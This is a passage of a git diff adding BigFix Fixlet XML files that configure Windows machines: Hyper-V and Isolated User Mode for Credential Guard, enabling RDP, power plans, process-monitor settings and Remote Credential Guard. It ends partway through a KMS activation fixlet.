+    <Title>Config - Hyper-V Platform - Disable - Windows</Title>
+    <Description>This Fixlet enables Hyper-V Platform in Windows to support the deployment of Credential Guard </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature where installstate= 1&quot; of wmi) contains &quot;Hyper-V Platform&quot;</Relevance>
+    <Category>Virtualization Based Security</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-13</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+// Enter your action script here
+
+wait dism.exe /NoRestart /Online /Disable-Feature:Microsoft-Hyper-V-Hypervisor</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Hyper-V Platform - Enable - Windows (20655).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Hyper-V Platform - Enable - Windows (20655).bes
new file mode 100644
index 000000000..626100dc3
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Hyper-V Platform - Enable - Windows (20655).bes	
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Hyper-V Platform - Enable - Windows
+  ID       : 20655
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-17T15:28:38
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Hyper-V Platform - Enable - Windows</Title>
+    <Description>This Fixlet enables Hyper-V Platform in Windows to support the deployment of Credential Guard </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature where installstate= 1&quot; of wmi) does not contain &quot;Hyper-V Platform&quot;</Relevance>
+    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature&quot; of wmi) contains &quot;Hyper-V Platform&quot;</Relevance>
+    <Category>Virtualization Based Security</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-13</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+// Enter your action script here
+
+wait dism.exe /NoRestart /Online /Enable-Feature:Microsoft-Hyper-V-Hypervisor /all</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Isolated User Mode - Disable - Windows (20656).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Isolated User Mode - Disable - Windows (20656).bes
new file mode 100644
index 000000000..f41497c3d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Isolated User Mode - Disable - Windows (20656).bes	
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Isolated User Mode - Disable - Windows
+  ID       : 20656
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-17T15:28:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Isolated User Mode - Disable - Windows</Title>
+    <Description>This Fixlet disables Isolated User Mode in Windows to support the removal of Credential Guard </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature where installstate= 1&quot; of wmi) does not contain &quot;Isolated User Mode&quot;</Relevance>
+    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature&quot; of wmi) contains &quot;Isolated User Mode&quot;</Relevance>
+    <Category>Virtualization Based Security</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-13</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait dism.exe /NoRestart /Online /Disable-Feature:IsolatedUserMode</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Isolated User Mode - Enable - Windows (20657).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Isolated User Mode - Enable - Windows (20657).bes
new file mode 100644
index 000000000..de1c6b5a1
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Isolated User Mode - Enable - Windows (20657).bes	
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Isolated User Mode - Enable - Windows
+  ID       : 20657
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-17T15:28:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Isolated User Mode - Enable - Windows</Title>
+    <Description>This Fixlet enables Isolated User Mode in Windows to support the deployment of Credential Guard</Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature where installstate= 1&quot; of wmi) does not contain &quot;Isolated User Mode&quot;</Relevance>
+    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature&quot; of wmi) contains &quot;Isolated User Mode&quot;</Relevance>
+    <Category>Virtualization Based Security</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-13</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait dism.exe /NoRestart /Online /Enable-Feature:IsolatedUserMode /All</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Microsoft Remote Desktop - Enable RDP - Windows (23555).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Microsoft Remote Desktop - Enable RDP - Windows (23555).bes
new file mode 100644
index 000000000..1a34012fc
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Microsoft Remote Desktop - Enable RDP - Windows (23555).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Microsoft Remote Desktop - Enable RDP - Windows
+  ID       : 23555
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:01:51
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Microsoft Remote Desktop - Enable RDP - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet enables RDP on the targeted machine.</P>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists values &quot;fDenyTSConnections&quot; whose (it != 0) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; of registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-01</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]&quot; &quot;fDenyTSConnections&quot;=dword:00000000
+
+waithidden &quot;{pathname of file &quot;sc.exe&quot; of system folder}&quot; config TermService start= demand
+
+waithidden &quot;{pathname of file &quot;sc.exe&quot; of system folder}&quot; start TermService
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Balanced - Windows (20557).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Balanced - Windows (20557).bes
new file mode 100644
index 000000000..ec43a76bd
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Balanced - Windows (20557).bes	
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Power Policy - Set to Balanced - Windows
+  ID       : 20557
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:18:00
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Power Policy - Set to Balanced - Windows</Title>
+    <Description><![CDATA[Sets the Windows Power Policy to Balanced.
+<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system > "5.1"]]></Relevance>
+    <Relevance>string value of selects &quot;ElementName from win32_powerplan where isActive = True&quot; of wmi &quot;Root\CIMV2\power&quot; != &quot;Balanced&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait powercfg -s &quot;381b4222-f694-41f0-9685-ff5bb260df2e&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to High Performance - Windows (20559).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to High Performance - Windows (20559).bes
new file mode 100644
index 000000000..4f43b4ec7
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to High Performance - Windows (20559).bes	
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Power Policy - Set to High Performance - Windows
+  ID       : 20559
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:18:13
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Power Policy - Set to High Performance - Windows</Title>
+    <Description><![CDATA[Sets the Windows Power Policy to High Performance.
+<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system > "5.1"]]></Relevance>
+    <Relevance>string value of selects &quot;ElementName from win32_powerplan where isActive = True&quot; of wmi &quot;Root\CIMV2\power&quot; != &quot;High Performance&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait powercfg -s &quot;8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Power Saver - Windows (20561).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Power Saver - Windows (20561).bes
new file mode 100644
index 000000000..23bc1a3e7
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Power Saver - Windows (20561).bes	
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Power Policy - Set to Power Saver - Windows
+  ID       : 20561
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:18:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Power Policy - Set to Power Saver - Windows</Title>
+    <Description><![CDATA[<P>Sets the Windows Power Policy to Power Saver.</P>
+<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system > "5.1"]]></Relevance>
+    <Relevance>string value of selects &quot;ElementName from win32_powerplan where isActive = True&quot; of wmi &quot;Root\CIMV2\power&quot; != &quot;Power Saver&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait powercfg -s &quot;a1841308-3541-4fab-bc81-f71556f20b4a&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Presentation Mode - Windows (24032).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Presentation Mode - Windows (24032).bes
new file mode 100644
index 000000000..2e69ce841
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Presentation Mode - Windows (24032).bes	
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Power Policy - Set to Presentation Mode - Windows
+  ID       : 24032
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-12T09:27:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Power Policy - Set to Presentation Mode - Windows</Title>
+    <Description><![CDATA[<P>Sets the power policy to presentation mode</P>
+<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-02</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait powercfg -s &quot;8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Microsoft Search Indexer - Windows (22915).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Microsoft Search Indexer - Windows (22915).bes
new file mode 100644
index 000000000..c34d882d5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Microsoft Search Indexer - Windows (22915).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Process Monitor - Microsoft Search Indexer - Windows
+  ID       : 22915
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-03T10:25:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Process Monitor - Microsoft Search Indexer - Windows</Title>
+    <Description><![CDATA[<P>Configures the BES Process monitor to monitor for a process.</P>
+<P>Specifically, this fixlet configures it to monitor the following Processes:</P>
+<OL>
+<LI>SearchIndexer.exe</LI></OL>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists processes (substrings separated by &quot;;&quot; of &quot;SearchIndexer.exe&quot;)</Relevance>
+    <Relevance>not exists values whose (it = &quot;SearchIndexer.exe&quot;) of settings &quot;besprocessmonitor-microsoft-windows-searchindexer&quot; of client</Relevance>
+    <Category>Service Monitor</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting &quot;besprocessmonitor-microsoft-windows-searchindexer&quot;=&quot;SearchIndexer.exe&quot; on &quot;{now}&quot; for client</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 10 Minutes - Windows (23032).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 10 Minutes - Windows (23032).bes
new file mode 100644
index 000000000..9f545bea6
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 10 Minutes - Windows (23032).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Process Monitor - Set Audit Delay to 10 Minutes - Windows
+  ID       : 23032
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-09T18:13:32
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Process Monitor - Set Audit Delay to 10 Minutes - Windows</Title>
+    <Description><![CDATA[<P>Configures the BES Process Monitor to only report process failure after&nbsp;10 minutes of system uptime.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists values whose (it = &quot;10&quot;) of settings &quot;besprocessmonitor-audit-delay&quot; of client</Relevance>
+    <Category>Service Monitor</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting &quot;besprocessmonitor-audit-delay&quot;=&quot;10&quot; on &quot;{now}&quot; for client</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 15 Minutes - Windows (23033).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 15 Minutes - Windows (23033).bes
new file mode 100644
index 000000000..5ba62a7eb
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 15 Minutes - Windows (23033).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Process Monitor - Set Audit Delay to 15 Minutes - Windows
+  ID       : 23033
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-09T18:13:38
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Process Monitor - Set Audit Delay to 15 Minutes - Windows</Title>
+    <Description><![CDATA[<P>Configures the BES Process Monitor to only report process failure after 15 minutes of system uptime.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists values whose (it = &quot;15&quot;) of settings &quot;besprocessmonitor-audit-delay&quot; of client</Relevance>
+    <Category>Service Monitor</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting &quot;besprocessmonitor-audit-delay&quot;=&quot;15&quot; on &quot;{now}&quot; for client</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 5 Minutes - Windows (23034).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 5 Minutes - Windows (23034).bes
new file mode 100644
index 000000000..e50ee6aa6
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 5 Minutes - Windows (23034).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Process Monitor - Set Audit Delay to 5 Minutes - Windows
+  ID       : 23034
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-09T18:13:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Process Monitor - Set Audit Delay to 5 Minutes - Windows</Title>
+    <Description><![CDATA[<P>Configures the BES Process Monitor to only report process failure after 5 minutes of system uptime.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists values whose (it = &quot;5&quot;) of settings &quot;besprocessmonitor-audit-delay&quot; of client</Relevance>
+    <Category>Service Monitor</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting &quot;besprocessmonitor-audit-delay&quot;=&quot;5&quot; on &quot;{now}&quot; for client</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Remote Credential Guard - Enable - Windows (23808).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Remote Credential Guard - Enable - Windows (23808).bes
new file mode 100644
index 000000000..c9f4ca66b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Remote Credential Guard - Enable - Windows (23808).bes	
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Remote Credential Guard - Enable - Windows
+  ID       : 23808
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-13T13:16:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Remote Credential Guard - Enable - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet enables Remote Credential Guard on Windows devices that support it. </P>
+<P>Credential Guard requires the following:</P>
+<OL>
+<LI>Windows 10 Enterprise </LI></OL>
+<P>For more information on Credential Guard please see: <A href="https://technet.microsoft.com/en-us/itpro/windows/keep-secure/remote-credential-guard">https://technet.microsoft.com/en-us/itpro/windows/keep-secure/remote-credential-guard</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system > "10.0.0.0"]]></Relevance>
+    <Relevance>not exists values &quot;DisableRestrictedAdmin&quot; whose (it = 0) of keys &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa&quot; of native registry</Relevance>
+    <Category>Virtualization Based Security</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-12</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+regset &quot;[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA]&quot; &quot;DisableRestrictedAdmin&quot;=dword:00000000
+
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Windows Activation - Set to KMS Activation - Windows (23579).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Windows Activation - Set to KMS Activation - Windows (23579).bes
new file mode 100644
index 000000000..6789e89be
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Windows Activation - Set to KMS Activation - Windows (23579).bes	
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Windows Activation - Set to KMS Activation - Windows
+  ID       : 23579
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T18:02:59
